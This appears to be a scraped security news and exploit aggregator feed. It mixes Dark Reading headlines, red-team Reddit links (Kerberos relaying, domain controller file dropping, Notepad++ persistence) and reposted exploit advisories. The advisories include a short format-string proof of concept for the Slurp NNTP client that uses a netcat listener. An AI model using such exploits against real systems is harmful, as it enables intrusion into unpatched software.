Often translated into French as “prime au bogue” or “bounty for the detected flaw”, the bug bounty appeared in the 90s within Netscape…Continue reading on CyberSecurity and GDPR compliance » (https://medium.com/cybersecurity-and-gdpr-compliance/what-is-the-bug-bounty-6646d69779b5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
5 Reasons Why Civil Discourse Is Good for Security

A cordial environment helps valuable input reach those who can use it to improve the organization's security posture.

Dark Reading: Attacks/Breaches
Ransomware Threat Intel: You're Soaking In It!

Organizations need to improve their ability to detect and prevent emerging ransomware attacks.

Dark Reading: Attacks/Breaches
Could Biology Hold the Clue to Better Cybersecurity?

Sophisticated malware attacks underscore the need for a more dynamic security framework, inspired by biological concepts.

Dark Reading: Attacks/Breaches
LogRhythm Unveils New Brand Identity

Announcement comes in advance of new technology offerings in 2022.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
(ISC)² to Pilot Online Proctored Exams for CISSP in U.S., U.K. and Singapore

Second pilot program will assess feasibility and security of offering online exams to increase global accessibility for certification candidates.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
One Identity Enhances Unified Identity Security Platform with CIEM, Application Governance and Teams Modules

Plans to further advance vision for end-to-end identity security.

___________________________
@hacking_Attack
@Hacking_Video

Persistence – Notepad++ Plugins
https://www.reddit.com/r/redteamsec/comments/ssf01p/persistence_notepad_plugins/

submitted by /u/netbiosX (https://www.reddit.com/user/netbiosX)
[link] (https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/) [comments] (https://www.reddit.com/r/redteamsec/comments/ssf01p/persistence_notepad_plugins/)

___________________________
@hacking_Attack
@Hacking_Video

What is the Bug Bounty ?

Often translated into French as “prime au bogue” or “bounty for the detected flaw”, the bug bounty appeared in the 90s within Netscape…Continue reading on CyberSecurity and GDPR compliance »
Read more...

cube0x0/KrbRelay: Framework for Kerberos relaying
https://www.reddit.com/r/redteamsec/comments/ssgqy3/cube0x0krbrelay_framework_for_kerberos_relaying/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://github.com/cube0x0/KrbRelay) [comments] (https://www.reddit.com/r/redteamsec/comments/ssgqy3/cube0x0krbrelay_framework_for_kerberos_relaying/)

___________________________
@hacking_Attack
@Hacking_Video

Dropping Files on a Domain Controller Using CVE-2021-43893
https://www.reddit.com/r/redteamsec/comments/ssgrou/dropping_files_on_a_domain_controller_using/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/) [comments] (https://www.reddit.com/r/redteamsec/comments/ssgrou/dropping_files_on_a_domain_controller_using/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress International SMS For Contact Form 7 Integration 1.2 CSRF

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
WordPress International SMS for Contact Form 7 Integration plugin version 1.2 suffers from a cross site request forgery vulnerability.

MD5 | 3bdeefa3f49313e66ab472b8a9a22a45

Download

# Exploit Title: WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross-Site Request Forgery (CSRF)

# Date: 2022-02-09

# Author: Milad Karimi

# Software Link: https://wordpress.org/plugins/cf7-international-sms-integration/

# Version: 1.2

# Tested on: Windows 11

# CVE: CVE-2022-24272
1. Description:

The plugin International Sms For Contact Form 7 Integration for class-sms-log-display.php and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers.

Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue
2. Proof of Concept:

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Slurp 1.10.2 Format String

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png
Slurp version 1.10.2 suffers from a format string vulnerability.

MD5 | c7e580d45afb71348edf920a4484967e

Download

# Exploit Title: Slurp 1.10.2 - Remote Format String Date: 2022-02-12

# Author: Milad Karimi
slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.
It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.
perl -e 'print "BY BY BY \n666 %x%x%x\n'" | nc -l -p 112
Then check /var/log/messages for something like:
slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c'

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Nagios XI Autodiscovery Shell Upload

___________________________
@hacking_Attack
@Hacking_Video